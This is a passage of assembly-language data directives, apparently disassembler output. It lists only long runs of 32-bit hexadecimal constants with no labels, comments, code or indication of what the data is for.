		dd 0E982AE2Ch, 0F7201795h, 76662E2Dh, 13E77E4Eh, 10B873Ah
		dd 6D1289FFh, 0FDC1700Ch, 101D6905h, 0AB01D3F7h, 4AB93FD9h
		dd 1887E220h, 18365E49h, 3B07E395h, 5BDF29B8h, 805FF932h
		dd 1E32C298h, 0F369066h, 588C1D0Fh, 119AE64h, 8E5C15Dh
		dd 26755BE5h, 407FEF68h, 880E5123h, 80D5F6F5h, 0CEFE59EEh
		dd 3AAF080h, 0E95AF108h, 2A12343Bh, 2408C221h, 0ACBA0065h
		dd 9558877h, 2D5AD000h,	52E75022h, 5D877F7h, 9F476C69h
		dd 0FF888821h, 4E2C101h, 2DCB6857h, 220AB014h, 10438A41h
		dd 266BB02h, 6436EFDCh,	0B9803A51h, 0D853918h, 68128C98h
		dd 37CC346Ch, 0F45B31CBh, 54152A5Ch, 5A5AD00Dh,	0EA03C14Ah
		dd 5EF28107h, 0C3CDF23h, 0F61C05D2h, 0D8D70167h, 3326E981h
		dd 28C4FC66h, 79551A92h, 0B490A0ADh, 15E0B43h, 0DC0E628h
		dd 2516CDF1h, 36FA0578h, 90012772h, 0E909D05Dh,	6127498Fh
		dd 239E640h, 0E9179407h, 210B75D4h, 0CB280481h,	11EB8000h
		dd 3700C3E6h, 0F6D9B252h, 0FACAFEDAh, 30817DF2h, 0BE0CC4E2h
		dd 0F36296E9h, 0A0665C92h, 28CDB4BCh, 43CE9CE6h, 2401DFB9h
		dd 0C281DA01h, 67E56007h, 81884170h, 329C80ADh,	2D2B9235h
		dd 535802F1h, 5E8294Eh,	8F320789h, 15B7B940h, 0AE173724h
		dd 726D12B0h, 13F2053h,	2D512190h, 7E62820Ah, 0C161ED43h
		dd 5C0219A8h, 3B9E1ECEh, 0A429EFE4h, 584691E7h,	0D149391h
		dd 20F0F01Ch, 1E05DAF5h, 0E821E1E5h, 91E96020h,	0EF059C69h
		dd 4A47D6Bh, 0B69ED428h, 0EB7B7B4Bh, 22710C5Bh,	4F231D6Fh
		dd 5421674Eh, 8EDD87h, 0B50D6B85h, 0E945590Bh, 29736120h
		dd 409C6434h, 0C2900162h, 41C3312Eh, 1DD63715h,	0C5414BB0h
		dd 0F2F58058h, 0D8FCE8C1h, 0CBA3CE0Eh, 8B41BFE9h, 96EF2031h
		dd 45D4CC6Bh, 0A7BA00D6h, 42365F6Dh, 848E490h, 81021DA8h
		dd 5E56D983h, 52B8B426h
		dd 34B6912h, 765CD71Fh,	30D32989h, 6DC1EE25h, 0D8282BB3h
		dd 0C45B79E4h, 0E2E68812h, 0B9598AEDh, 0A37A65E2h, 8046EBC4h
		dd 78291285h, 846E5C3h,	516E000Ch, 0E95339E2h, 0D2D6FA63h
		dd 0C7622E65h, 687AE001h, 0E33B4C47h, 0E99221D6h, 5C287410h
		dd 155C8EECh, 0B183A354h, 0D1715502h, 0FF41CE35h, 21972209h
		dd 0F14A0BF0h, 30023668h, 0EC59C37Ah, 0FE291D51h, 487251CBh
		dd 0C0E4447Eh, 0FCBBF2Eh, 0B9025DC4h, 0E35A0940h, 99FB6301h
		dd 4E6059CAh, 8DFDB402h, 3936E77Eh, 4E066C93h, 0F3ABAC4h
		dd 64CA055Fh, 0A98BDFCh, 0CDFE2CDEh, 70411B8h, 665FC580h
		dd 307B24C0h, 8BE912D5h, 685BC870h, 9374324h, 0EA045665h
		dd 0C0032B30h, 0E79803EFh, 0F7388006h, 0B8F82CFBh, 79446342h
		dd 54825A0h, 0C8BE80D1h, 994E406Bh, 95F7724Ch, 26C16412h
		dd 8A43AF9Eh, 0E1058C84h, 0BD0A212Ch, 0CB1B004h, 173257A6h
		dd 62D2C958h, 1B098315h, 57760112h, 0A141A9BFh,	3090611Bh
		dd 3B18D6DEh, 343C29AAh, 75B2287Fh, 179A32B5h, 928BEB4Bh
		dd 0DE899423h, 6052EF25h, 83400A24h, 0A935114Bh, 0C8459417h
		dd 0ECF1B2E9h, 3C5FBA11h, 3F695B02h, 51462250h,	2DCCED2Ch
		dd 9A2D896Dh, 68E2487Bh, 691294FDh, 0A12060E5h,	62C86812h
		dd 3AF0F060h, 4A3F2825h, 4CBF00AFh, 0EA091DB7h,	9EBC05E9h
		dd 2FB55101h, 2E20B050h, 34725B9Dh, 0FDCE30EEh,	7401D413h
		dd 4B41BA52h, 2706412h,	31EC001h, 81135021h, 57C9ED09h
		dd 0EA6A03DAh, 5AD5E15Dh, 0AC600822h, 0DE184468h, 95E2F0Bh
		dd 0C5DB00F5h, 76F86D56h, 1883F276h, 4E12C637h,	1009B24Dh
		dd 616BE9A4h, 0B9FB01A3h, 0ED9A750Eh, 56F194E7h, 861EF80h
		dd 96B6E942h, 0F0728C4h, 18FC5DD2h, 0F0AC946Bh,	49009616h
		dd 0FB013423h, 2DD9895Fh, 0DA809FE9h, 80D0B353h, 0C046E31Ch
		dd 0DBF608C6h, 0C3FE3E04h, 0E9B6F305h, 4204B1FDh, 0E6100102h
		dd 45588105h, 0E20E3190h, 0D34B3946h, 5B54B104h, 51349BF3h
		dd 0E9F33038h, 0CB25015Dh, 5BF89159h, 0B6754EECh, 1CA5526Ah
		dd 260E129h, 0FAD04B85h, 103B5448h, 0E059FBB0h,	0AAC5526h
		dd 9CFE7C4Dh, 0D8318FADh, 8443D79Eh, 0E18FF135h, 682D382Eh
		dd 0CB6B63C1h, 0E9CC0ABDh, 49BEF3F5h, 0D558CE1Ah, 1CD54531h
		dd 0CBDCFB31h, 0F1C5C022h, 448A1E6Ch, 68D9F704h, 0F5B971D6h
		dd 9F09F426h, 32BE0756h, 1E0049EDh, 0E03752F6h,	3805585Bh
		dd 9AF1CDE9h, 5858029h,	10FA8B4Eh, 4860E220h, 4F154667h
		dd 0BBF20126h, 0DB61B2C9h, 0C0838FA0h, 82BF94D6h, 452B020Ah
		dd 18B12F92h, 43D16852h, 95E91230h, 77105A52h, 0C912D0AEh
		dd 93737865h, 32871542h, 89AD685Bh, 0F0E9E30Bh,	0C2E44C64h
		dd 5E426808h, 8B6310C6h, 125A2A17h, 37336C79h, 8A26BF5Fh
		dd 0F6028B5Dh, 65BC4FA8h, 0F27F43C1h, 128F5636h, 2BABB55Ah
		dd 58598840h, 63AC6851h, 340E5B3Eh, 0E6F14904h,	21C2BE23h
		dd 6C796ACBh, 9EE5E628h, 822BF232h, 65BC2A0Ah, 2AC1E157h
		dd 0FF486C2Ah, 847F3428h, 84C82B99h, 0A4B13D37h, 70015AC1h
		dd 8095B8B7h, 0DEF74EC3h, 5FEE0A81h, 87906914h,	0A2378A73h
		dd 5D40F229h, 1D0033EAh, 0B9516CA3h, 5CE8E317h,	20480686h
		dd 0EC5D7854h, 2D48BE1Eh, 28665819h, 0DA327F9Eh, 0E0F61ECEh
		dd 95E676C0h, 6A05B8BBh, 391E1D9Ah, 0A0C2ECE0h,	5266E908h
		dd 0A392877Dh, 0F729108Dh, 99429045h, 515202E1h, 88322EE0h
		dd 3796F298h, 29A2E905h, 58DDD1A4h, 6489E4D7h, 27E95A28h
		dd 6BB63F96h, 587A6858h, 22D2746Bh, 868A5E7Dh, 0A302E977h
		dd 58682AE9h, 2AC47C01h, 0C7E83C8Bh, 0DE51B2B5h, 9414F9A8h
		dd 1AEF3A37h, 0FBEC6F8h, 291F62CFh, 80C26A0Dh, 102AB32Eh
		dd 760CC115h, 8234CF28h, 0A751DC56h, 0F2A28138h, 60D60126h
		dd 162CB82h, 0DFF70914h, 6673FEE9h, 0FC6809B5h,	0A1BE1A03h
		dd 0F8C5E979h, 82E5E850h, 25D43D33h, 421F5397h,	0B30F668Ah
		dd 9F603CDAh, 5FF831B3h, 0C60D5568h, 0DD4828F4h, 2A2283F9h
		dd 0C6D91680h, 9E1E3279h, 5A1586C9h, 0EBEFA11Eh, 65C97D7h
		dd 28593E7Eh, 0E16EE912h, 0C6A3F2AFh, 397E1068h, 1896163h
		dd 4442B9F3h, 1C19612Eh, 5913822Fh, 0E6740C68h,	0E90DA85Ch
		dd 0E5696BC4h, 7485E3C0h, 0B8506B40h, 8C014A22h, 77059262h
		dd 0CCE93D6Ch, 9F3348A1h, 1A7E307Ah, 23483D15h,	10A97CE7h
		dd 0D8165B9h, 4036D04Ch, 0D1611A91h, 19486D90h,	0B273246Ah
		dd 60DFAEAFh, 84411B9Dh, 46B5A229h, 19352088h, 14D1874Ah
		dd 65813031h, 0D0382EC5h, 0F9CDD804h, 7575372Ch, 9605DD12h
		dd 1C9241E8h, 76700E1Ch, 0E9627C9Ch, 1185002h, 7D6E4D35h
		dd 0EEE8C131h, 58235240h, 417E0713h, 5647A300h,	30C130ECh
		dd 4AE208E9h, 0CE1EEBC4h, 4BBEC801h, 6E0DB6C0h,	0F4997244h
		dd 5D9283D1h, 32AC366Eh, 74C56D20h, 9582701h, 19E0AE2Bh
		dd 164099E9h, 622109BBh, 9452655Ch, 0BC775090h,	0D7A070BAh
		dd 60820572h, 25685A86h, 0CB6612E0h, 12C96259h,	1D44FF56h
		dd 0B1076C78h, 701172D2h, 0F8015900h, 8E70305h,	8B5F2835h
		dd 0CF3794ACh, 0F9E916D9h, 0D9290F41h, 4F6C5F5Bh, 0F6F1F6C6h
		dd 0E9CCB606h, 97F3D897h, 52205C9Eh, 700900Bh, 0CBD011Ch
		dd 0BD83195Dh, 79DB515Fh, 68630C05h, 0EEC057A3h, 4B2F4F76h
		dd 0F59A802Ah, 9A94B597h, 0C4BB5300h, 0FE6E4C75h, 519904CBh
		dd 0C04B253Ah, 0BA545636h, 0DA29120Bh, 7C3C0F5Bh, 0C4218680h
		dd 7B8505Ch, 749759DCh,	9658E729h, 3E811652h, 0A5556089h
		dd 21B36992h, 6072B22Fh, 58D106E3h, 20005EEEh, 213546D0h
		dd 3A905EF0h, 0C8310A16h, 0B516CD24h, 0F7918342h, 56DD61D1h
		dd 4B0F9114h, 89863C6Eh, 51FD0258h, 4612A912h, 0D2AF208Ch
		dd 50CD8736h, 0E8313908h, 505FC520h, 99734229h,	4C6C607Fh
		dd 577217EDh, 8A11016Fh, 84490C44h, 5CD3ADB0h, 0C1E55Bh
		dd 0C523276Ch, 0A4E8FE78h, 5E760296h, 0D3893125h, 0C7C0B056h
		dd 13560C5Ch, 10DF2949h, 5B2E0812h, 3FF1A76h, 1B772840h
		dd 0A20A1BB5h, 3CB9007Ch, 4E18B16Ah, 0AE2AC829h, 0E1C1805Fh
		dd 69270778h, 807364D0h, 1F7BF4ECh, 5FF71939h, 0B4098E35h
		dd 208F0D80h, 0C1002769h, 940508E0h, 90A4AB7Dh,	0BE912DCh
		dd 0D786F352h, 5EF3D720h, 0E1DE20E9h, 489043ECh, 324DA7Bh
		dd 60B7735h, 0E9DD8220h, 0F408CB8Ch, 505B61E7h,	0B26597F9h
		dd 50381401h, 1C570909h, 0E956A190h, 9209F54Bh,	4A091255h
		dd 1355E448h, 0F30AF3E9h, 9C662C65h, 1394B389h,	6810384Ah
		dd 672F322Ch, 5AE991B6h, 0D2C32D64h, 89E71710h,	0BBB68255h
		dd 981DAD0Ah, 82D1C6F6h, 0B33534Eh, 0B845FB2Ah,	0F7904125h
		dd 326977BAh, 0C217CF5Eh, 0ED02ED4Eh, 373B0FC0h, 0CEE661Bh
		dd 0D4212A9Bh, 0FF42F003h, 0D2300325h, 4E7C482Dh, 0E40B0E00h
		dd 34E99EFAh, 8C7B959h,	4825CCDCh, 0C1CAA039h, 53686610h
		dd 0C85E3B63h, 8E5B8F25h, 87089433h, 52F7D2F7h,	0FC02FFDCh
		dd 0CF54F95Ah, 0CA2CE7C6h, 33263345h, 0DF00516Fh, 83E727BEh
		dd 7DDE01FBh, 0C8BF2C5Bh, 28CA63Bh, 411A521Fh, 427BCB0Fh
		dd 3BD058C2h, 0FEE8D821h, 0EDB6C8BBh, 71DA7018h, 5807EE96h
		dd 0FA85D6F6h, 96E28052h, 4C215A10h, 809F65ACh,	1E069086h
		dd 2EED053h, 49E913F6h,	0A4F0F164h, 1C8D4148h, 0E6E7F529h
		dd 0D26816F5h, 523BCA34h
		dd 4F264C60h, 2AB9B900h, 0B042772Ch, 72A609D6h,	58E2B65h
		dd 72CD3C91h, 57417F01h, 6A52AABFh, 40E8E465h, 0E93E09DEh
		dd 65E858F6h, 0E20C4D03h, 4DFF76Ah, 827CB447h, 951DB2F9h
		dd 6F307A50h, 0D1EB4817h, 33780414h, 11D9E9h, 5253D830h
		dd 0F63F0EB2h, 0B7E766DAh, 0E9FAC0CFh, 0A8AAF095h, 9ECAAA6Bh
		dd 27056EE9h, 0B9AE40F9h, 8BB09B9Ah, 0A025ED20h, 1DF0567h
		dd 0F701F127h, 2F505D5Eh, 71C7B632h, 0E957405Bh, 7DD2CB55h
		dd 2D684688h, 0F7CC6684h, 2149689Bh, 7AE95242h,	0DD585938h
		dd 4C7EDE46h, 587BFBAh,	7C1293ACh, 981DF8A8h, 0D0015002h
		dd 805CD6E9h, 16794265h, 74CEEC2Dh, 0EC556466h,	0E6F4D48Ah
		dd 854E4DE8h, 3C81EB01h, 242E7F17h, 0D98DBCC8h,	5CE168CAh
		dd 374E8F63h, 0E9F891A4h, 829A38B8h, 0E3984105h, 5AB6E1ACh
		dd 3E1D19BBh, 124C52Ah,	2B981CEh, 4FD4072Ch, 0BA0027FCh
		dd 347B32A3h, 5A58D131h, 0EC69863Dh, 42E791C8h,	0F952545Ch
		dd 0D6888E7Eh, 61C89444h, 710D0B94h, 95AC007Eh,	0AEB0AA2Dh
		dd 0C5814C69h, 0F2003B7Dh, 64862DDDh, 35602FE9h, 2A66BD16h
		dd 29340B67h, 4B71206Fh, 0A2CC6325h, 8071D4C5h,	71F57B38h
		dd 0FCD0D901h, 25324808h, 0D69662B2h, 0EDD1C3C2h, 93D4E6F2h
		dd 16B29434h, 38F008D6h, 0F739E027h, 64D2F4DEh,	824CB7Ah
		dd 3E469C2h, 39E927h, 0B5A9B37Ch, 1DDE0C4h, 0D0CDFE5Bh
		dd 2E12E9E5h, 2DA2DF16h, 78668B9Fh, 0D4007366h,	56398D26h
		dd 4194DBEh, 0F2210AB9h, 0FA0F835Eh, 20222399h,	773BAFFAh
		dd 410CE1EDh, 2204A6Dh,	395F4CFAh, 4D5DF203h, 0D7D22E0Dh
		dd 57AEC696h, 6E7CEF40h, 13CB1D4Dh, 0F73E1258h,	1DA998D3h
		dd 1AD4CFF9h, 782D491Bh, 77C9D302h, 0F557970h, 5F5E418Ah
		dd 75B4E453h, 0DAECC69Ch, 0B5191220h, 0E4B20338h, 0ADDB828h
		dd 24C04EBAh, 51C6015Eh, 80526755h, 7AA7A20Ch, 4E6BE9ADh
		dd 0C6DFDC6Ch, 94265869h, 0C38009A3h, 8D5151E3h, 9C968249h
		dd 19008C6h, 2C7835Ah, 316E2033h, 0C30D06DAh, 0FC3C03Ch
		dd 0F1C058B7h, 0B20B4120h, 9D02818h, 233A028Eh,	0C291F637h
		dd 0C50F5196h, 46CC77CBh, 3EA8A158h, 0BC845402h, 0B84F90AEh
		dd 4A02181Eh, 19360559h, 0BCEBE02Ah, 0BAA27214h, 0CA8102A6h
		dd 5A027BA1h, 11E28Eh, 0EA87D529h, 0A956BCE9h, 0E761D783h
		dd 0EF810887h, 0F30EE1B2h, 3A833C57h, 0FB01BC82h, 4E381427h
		dd 4008F672h, 681A5615h, 42B16092h, 65C1DE0Ch, 5BF6D2A3h
		dd 5452B97Ch, 157EC2A3h, 0F309206Ch, 5929A852h,	7C8C605Ch
		dd 9E907A07h, 19860B40h, 8D4F6E5h, 335BD568h, 88530E9Ch
		dd 59D849D3h, 0EAA94FEAh, 0F60EA858h, 54D530D2h, 1F2F93h
		dd 88A1B65Eh, 0BCA6F2F0h, 0E7BB001Fh, 2114726Fh, 0C143DF5Dh
		dd 104A0BEFh, 0ED9DFA89h, 40ACD444h, 0E75CD1FCh, 1037D4C4h
		dd 0AC3FE0AFh, 25675B96h, 971E1CC6h, 587CD1CBh,	41103387h
		dd 0D72B6DA7h, 92547E32h, 89EA7950h, 49206DE9h,	0B551D7F6h
		dd 2CC00E4Eh, 0E480EDD0h, 22E9106Dh, 0C7811226h, 0BAE65FD6h
		dd 60C176E0h, 3AE95808h, 0D1926162h, 7DD40749h,	59ED21F9h
		dd 68AF247Dh, 18788A25h, 8912F08Eh, 5B7082DFh, 68656B73h
		dd 0AA67E95Ah, 82226291h, 98DE608Bh, 535468A2h,	0B477FA6Eh
		dd 53C49235h, 6EA8D1E4h, 2D0C3308h, 0C129BA56h,	4B3CDF5Dh
		dd 30752D01h, 605A4E40h, 4F1CD22h, 477EC580h, 0B821F69Dh
		dd 3F96200Bh, 59CF2783h, 0ABC61848h, 0A433B513h, 16459C0Ch
		dd 5B2B0104h, 0B1515066h, 2DF44252h, 0A68852D6h, 0EFA96F62h
		dd 5E493DD0h, 508924h, 571385BEh, 7F1DC06Ch, 5293A8ECh
		dd 0E9F2890Bh, 0DE8C083h, 0B65300B4h, 28480534h, 0AF980341h
		dd 0F728527Dh, 1DB08731h, 5F185F33h, 5CBFBAE8h,	0C959125Ch
		dd 68D701BFh, 0F94CDE1Ah, 132B3CC4h, 0EE825909h, 0E22343A1h
		dd 3961C97Bh, 92F79EDh,	0EE665A55h, 2DD1D1F9h, 50AC1045h
		dd 4136E044h, 25ADF1BCh, 3997D459h, 0F349FB9Ch,	4DE906F7h
		dd 0CA007B6Ah, 697939F9h, 0C142DAF7h, 3572858Ch, 91EBE1Eh
		dd 848C575h, 8880CCEFh,	45B66F8h, 84C6C607h, 222D7516h
		dd 88529812h, 82A91C1h,	0F6072117h, 0ACA680DCh,	3D514114h
		dd 0E5532F23h, 0D07A752h, 3D61125Eh, 0FD20CC5Ah, 8694BFDCh
		dd 56F58717h, 0BED15884h, 0F98D6B59h, 4E36BBA1h, 8D680CFEh
		dd 5CF3290Dh, 0B2D25C32h, 0BBF89866h, 215F8845h, 0FCD04695h
		dd 4E0C4AF9h, 84408163h, 5D53DD79h, 0F64D9A95h,	0C8BE42A4h
		dd 8122DA86h, 0F63E420h, 36C4805Bh, 0A15A0529h,	0A674EF7Ah
		dd 8CC5444Bh, 8A5F0AE3h, 0C6C36BE3h, 236825C9h,	8E5F5649h
		dd 0EDD589F3h, 17500FFCh, 7C255AF8h, 9CA4E49h, 0D853580Ah
		dd 4E41C54Dh, 93396B06h, 0BAE8E90Ch, 0F401803Ch, 58E78836h
		dd 0ED21F828h, 0C2E2347Bh, 0F70A37F2h, 2DB08E07h, 0F659C800h
		dd 52C73D0h, 0F904AA24h, 0E9E38088h, 4DBE01D9h,	0BFCD6469h
		dd 51004C0Fh, 0BAA7E99Ch, 0C5A433B1h, 7B40E607h, 0AAC2965h
		dd 7FF35ECBh, 1FE6E9C1h, 0CA495D3Eh, 82A83A3Fh,	56D67DA3h
		dd 706BA076h, 0BF570058h, 2AAA7EEBh, 0E918FD09h, 80362839h
		dd 0F0845ACCh, 0B32553AEh, 2898C48Fh, 28FDDC30h, 0B9C18ECh
		dd 58E388ADh, 0A9E2948Fh, 64F6F328h, 2689FF79h,	0CD0491B2h
		dd 0E0928DE5h, 0D69E1901h, 95E0562h, 0EDF419C4h, 9E710B48h
		dd 0D1B4C296h, 0E1B830h, 48DC0B6h, 65886887h, 7B0118B5h
		dd 0CCFE8010h, 235CBDEEh, 0E257A389h, 0B5A958F6h, 3F098115h
		dd 96D57129h, 87B1879Ch, 0EC3474DDh, 2D24485Dh,	66280FF9h
		dd 0B6B3B9B1h, 0E660A56Ch, 0C8922B8Ah, 8F80EE5Fh, 5D05E376h
		dd 0E984165Dh, 29D6E004h, 0D8E668B8h, 522A9195h, 5AF00F2Eh
		dd 52038A9h, 0A14946B8h, 0C65B727Ah, 505FC70Bh,	0FE29259Eh
		dd 78ADE202h, 813C3302h, 74D06836h, 0BB80C73Ch,	8107520h
		dd 1EB8302h, 0EC3AE468h, 223802F7h, 0E7C17546h,	28EDA961h
		dd 421EDE8Ah, 0B8819829h, 167B4A4Eh, 0F4F8C560h, 0A470F1D6h
		dd 0D5C941DAh, 5997511Ah, 0D642F201h, 0F301C864h, 5651544Ah
		dd 6320DBF7h, 0A90E1255h, 7654C766h, 19B63AEAh,	9CA358A5h
		dd 1E765249h, 1459C1AFh, 39806234h, 0F29D93CAh,	44C28020h
		dd 0E903EAC0h, 44381F2Dh, 0BB53183Fh, 0FB014F24h, 0D99B13E4h
		dd 46DA692Dh, 0AD3BA33Ch, 0CD4651Ah, 0B8AA52C0h, 0EB069A9Ah
		dd 5EC70940h, 31D080Ch,	6704162Ch, 73C75557h, 0E3BC17A4h
		dd 92245E8Fh, 60EB93Dh,	6C2635ACh, 7AB020Ch, 0D0293CF4h
		dd 58166B5Ch, 6BE70F52h, 71C63580h, 8BB13AF2h, 16FF708h
		dd 0C7404ABAh, 76BCE86Eh, 58A13580h, 9D410565h,	8529372Fh
		dd 8124D516h, 5EC0A0Ch,	35159081h, 8C585502h, 0D2B5826h
		dd 5CD28144h, 0EC565AF1h, 490A0952h, 7E0F770h, 9A48577Ah
		dd 26691507h, 27F93EBCh, 1F84A0D3h, 0CC19936Eh,	0C24906A8h
		dd 468B7C01h, 5AD60140h, 0C0E9B921h, 31BB9683h,	0EF25F228h
		dd 9A6FC474h, 0CB6813ABh, 0A2243453h, 7B688066h, 4C294340h
		dd 7A0CC85Ah, 0DBCAD85Fh, 0C6D10BB7h, 525025ADh, 28CC3111h
		dd 9D51290Bh, 0F5B9808h, 0C72F75B0h, 0C303936Eh, 9AFA5958h
		dd 0ADBE2568h, 1FD76A12h, 4D452F4h, 29E2C3C2h, 6525F0F3h
		dd 36A94017h, 41CF23B1h, 54590B29h, 0EF123227h,	0BEB671h
		dd 22BC781h, 78014396h
		dd 844E5EFh, 123C5182h,	0E90EA4DEh, 0E0FBB95Bh,	916F26DCh
		dd 7DF08B9h, 0ED95602Fh, 6433BFAh, 5D12093Fh, 4B741DC1h
		dd 5E226DA0h, 0A451397Fh, 37D501Eh, 585EAD40h, 7F42BB35h
		dd 28C15B0Ch, 0C855213Ah, 0FA293FACh, 0E1393E3Dh, 70BCDC4h
		dd 2F213349h, 7224C98Eh, 0B5511CF0h, 0B4E81D2Ah, 3DF0094Dh
		dd 0DF319AC0h, 0E9504C9Ch, 16FEB47Ch, 0FE6E0380h, 0C0DAD0C9h
		dd 0ECBEE463h, 4F1E7B5Fh, 8002EE81h, 33307DF6h,	0BC9CB737h
		dd 2D201B90h, 779BB5F6h, 0A1F36DBh, 3E035146h, 251F1672h
		dd 2813BF76h, 0B6B753F0h, 0E0FD882Ch, 5037ED07h, 4FDFEC77h
		dd 5EF89E5h, 6BEC7F33h,	0CA4C5F2Dh, 7BE99696h, 0CFE984BDh
		dd 8D44AE2Dh, 0BF0033E7h, 5A5665D4h, 4ECF8100h,	0E969B109h
		dd 0BFAC92B6h, 0E925503Ch, 57BE12Bh, 5AB1902Bh,	409E0C1h
		dd 7150D0F7h, 0E90DB1B3h, 0E15286Dh, 7BD2C5Bh, 4F4E04D0h
		dd 0D543C5B7h, 47C0E92h, 0D814F85Fh, 9702E9DDh,	64D6DA8Ah
		dd 6845905Bh, 54BE0FBFh, 0B17FEEC9h, 15C72A79h,	0D57CC468h
		dd 25F2C016h, 7814C1C3h, 0C52D971Ah, 2FBDE209h,	2606A148h
		dd 44ED0E95h, 7731DE65h, 0FF4BD3C8h, 80730FCFh,	790B66EBh
		dd 25DB3E2h, 0B4EC1ABh,	0C708A203h, 0B85056F8h,	0CA0F8C00h
		dd 3C74BE59h, 31162ECFh, 0D6F70C07h, 0F60F8104h, 85072B3Eh
		dd 9C8BF001h, 68515902h, 0FFCC37DBh, 214BB90Bh,	5420603Dh
		dd 0B2776D2h, 0B85932E7h, 0E05F1C04h, 0BD1D6645h, 81030ADEh
		dd 0F318AF5h, 0EBAC50Ah, 54E945C2h, 0CE8AC4Ah, 1495CDA5h
		dd 9459CC8h, 6802ADB7h,	3E49AEE9h, 3C822045h, 34A83500h
		dd 821FF181h, 29EE0425h, 0D0D5E9CDh, 4AC5BAA2h,	0C137AD2Dh
		dd 86705ED4h, 36DB56D6h, 52A2247Bh, 684C8766h, 0B24727B0h
		dd 0CBA0C80Ch, 6A9B0DD0h, 77BB20F7h, 0E258EBC9h, 2F68F37Dh
		dd 425B1113h, 0F2D2B90Eh, 4EA027B0h, 0C80134B4h, 0D40330Ch
		dd 0C2090F5Ch, 5945E2D1h, 0C486E802h, 0C7171ED3h, 0CAD926BBh
		dd 0B393C1BBh, 89F76709h, 52A58400h, 644561h, 0F08E6C1h
		dd 5784CE81h, 0C0C29ACh, 16D22816h, 90C63B40h, 804812EEh
		dd 0BB4F34E9h, 11017891h, 574B1A4h, 0F988680Ah,	1D831013h
		dd 7C67297Ah, 19B983E7h, 81E0F507h, 49328CC1h, 0DEC89815h
		dd 1FAD58DAh, 0B7BA0F86h, 893AC25h, 0EC272A43h,	5FFB3F5Bh
		dd 8D0A3A92h, 29100243h, 0BE42B2C2h, 0D38965C8h, 115CBEAAh
		dd 4A25F269h, 0A3A38443h, 35AE10BFh, 3BE83119h,	912B3E5Dh
		dd 31029D4Dh, 47CDE9C3h, 0F0891BD1h, 13AC86Ah, 3FF13980h
		dd 0C2F64FCh, 0BEFE876Dh, 9C22CB0Dh, 2857590Bh,	3830B1E1h
		dd 28D4947Bh, 0C0FA0396h, 0D7F607E7h, 0B47C1EEAh, 2FEABE00h
		dd 0F7566415h, 12466FDh, 0B0ED80E5h, 698F6F12h,	1BE7D800h
		dd 5C019483h, 0B16571E8h, 0C26C275Eh, 908BC36Ch, 0E84F42CCh
		dd 89208729h, 0AD0082F1h, 730DBA52h, 6863A806h,	0F8250551h
		dd 0CA8180B3h, 0AD14B13Bh, 6F080E0Ah, 2AE260D2h, 12124C0Eh
		dd 0D05464E9h, 0DC218813h, 0EB28747Bh, 8AEE33EDh, 6C74152h
		dd 7F281725h, 126E060Ch, 8A5360D8h, 6C2CE30Dh, 7A816A2Bh
		dd 4346D8Ch, 1FEADC42h,	0CEA1F612h, 0D05A150Bh,	97CDE659h
		dd 6167748h, 5890E916h,	2BED0B21h, 5C2904FCh, 726A60F1h
		dd 0BC5144CDh, 0AEE39346h, 0DB9BE986h, 8C2003B0h, 0E1BD09B2h
		dd 6109132Eh, 40417642h, 36346FD8h, 838B1CE2h, 15CB409h
		dd 0F663E9C2h, 1133189Eh, 0EFAA50CFh, 794DAF6Eh, 9C595052h
		dd 0DE90C04Ah, 60069511h, 2C8A0C82h, 0E0B04385h, 82F689B7h
		dd 946164Bh, 9D444589h,	0BE52F826h, 2B809016h, 5B2E9EBAh
		dd 4D000062h, 42670D7Dh, 6EAC11Eh, 4479F28Eh, 71B032E4h
		dd 521A9D5Dh, 96B4656h,	0A70D79E6h, 0CAE9E951h,	0FE1275D2h
		dd 20B2145Dh, 1F24F93h,	2C74F8E0h, 66692FFEh, 0D514EB33h
		dd 2D6A47A1h, 522812FBh, 8220F662h, 0C06BE680h,	500602E6h
		dd 0D0F6EFB0h, 9E2C0E04h, 0C6025B34h, 264A70E9h, 0BCFB1655h
		dd 0D9304B19h, 10B55BD9h, 8A278BC4h, 0E958C2D4h, 2D549C09h
		dd 0C47896E8h, 0EEC110C5h, 0FD25A7ECh, 0F5F111C6h, 97712CB1h
		dd 61FBF706h, 9ED14D25h, 59535181h, 8760705Bh, 13B0D97Bh
		dd 6B968CA0h, 0FAE04B4Bh, 86461277h, 109CBC7Bh,	85F68E2h
		dd 63AD01FFh, 5F2E3E4Eh, 9C29E80h, 2B40E9F0h, 4E285D81h
		dd 9C0E15DFh, 5F2A683Dh, 2947F160h, 0C7143EBCh,	83DF290Dh
		dd 7D5E4B41h, 8B0CD235h, 2F68F4B0h, 62120B77h, 16261DEh
		dd 8AC64854h, 0DE229D2Fh, 0BD01DDC1h, 192041A0h, 0E404BD21h
		dd 0A2D9AC36h, 598D02EEh, 0B3FCFA9Eh, 0AD1D1CBCh, 92C35A97h
		dd 0C26AE5Fh, 0F014ABBh, 3C16680Ch, 0F11F6249h,	3408E994h
		dd 22F89453h, 0AD675B2Dh, 55CE26B1h, 7DB98781h,	2E106A78h
		dd 0E6F2B7D7h, 0BE6BD1DEh, 83E049FAh, 6CE78914h, 8731579Fh
		dd 59CD40C3h, 3F599668h, 0DBF85C9h, 0C8E94681h,	69F756D6h
		dd 7DDA4BC9h, 49ED000Fh, 2959C70Dh, 836790DDh, 0F2D07F08h
		dd 46AF3053h, 0F7153A0Ch, 25A2054Ah, 0C960E915h, 95EF800Fh
		dd 95296F1Eh, 203D9E56h, 0B6F0F6BAh, 2AE5A0C3h,	1CBD3DD1h
		dd 5E753705h, 0B12DD67Bh, 89B67877h, 0D0E17652h, 0E64EFFE9h
		dd 0B9128CD4h, 9056E6F4h, 300A0026h, 1EBE7B6Eh,	0D246701h
		dd 5138A31h, 766D349h, 0B492C80Dh, 0B86C761Bh, 2146608Fh
		dd 0CD113666h, 0A8CAA0B1h, 79D81687h, 0A710D24Eh, 51984A08h
		dd 44D34A66h, 0AF514Fh,	5C576856h, 5A2A7B80h, 0B9D90E65h
		dd 5D9730A1h, 1447029h,	0BD8A0E7h, 18B432F3h, 6A532CD3h
		dd 8191DD2Bh, 49A5742Eh, 5C42F201h, 87AE080Fh, 7A3562F8h
		dd 95F04204h, 0F7F8C501h, 82BB00D3h, 95FBE57h, 12C3C6B0h
		dd 91FF7FA1h, 0F86C33E9h, 0D38AA8A4h, 12EDF910h, 6664F02Bh
		dd 0D0A502F8h, 29685FCAh, 7BE63954h, 69A7FD4Ah,	3688207Bh
		dd 3A41BF00h, 0F7810DCBh, 937017BDh, 66C10931h,	0BA050B6Eh
		dd 23707C9Ch, 801833C3h, 8229ADE2h, 1F41C080h, 9EA3B150h
